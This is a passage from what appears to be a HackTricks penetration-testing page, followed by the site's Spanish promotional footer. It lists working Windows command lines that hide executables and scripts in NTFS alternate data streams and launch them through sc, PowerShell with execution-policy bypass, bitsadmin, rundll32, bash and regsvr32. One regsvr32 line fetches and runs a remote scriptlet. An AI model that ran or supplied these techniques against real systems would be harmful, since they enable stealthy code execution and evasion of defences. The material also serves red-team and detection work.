binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto sc start evilservice https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ * Powershell.exe powershell -ep bypass - < c:\temp:ttt * Powershell.exe powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}" * Powershell.exe Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe} * Regedit.exe regedit c:\ads\file.txt:regfile.reg * Bitsadmin.exe bitsadmin /create myfile bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL bitsadmin /RESUME myfile * AppVLP.exe AppVLP.exe c:\windows\tracing\test.txt:ha.exe * Cmd.exe cmd.exe - < fakefile.doc:reg32.bat https://twitter.com/yeyint_mth/status/1143824979139579904 * Ftp.exe ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md * ieframe.dll , shdocvw.dll (ads) echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md * bash.exe echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh bash.exe -c $(fakefile.txt:payload.sh) https://github.com/sailay1996/misc-bin/blob/master/ads.md * Regsvr32 type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).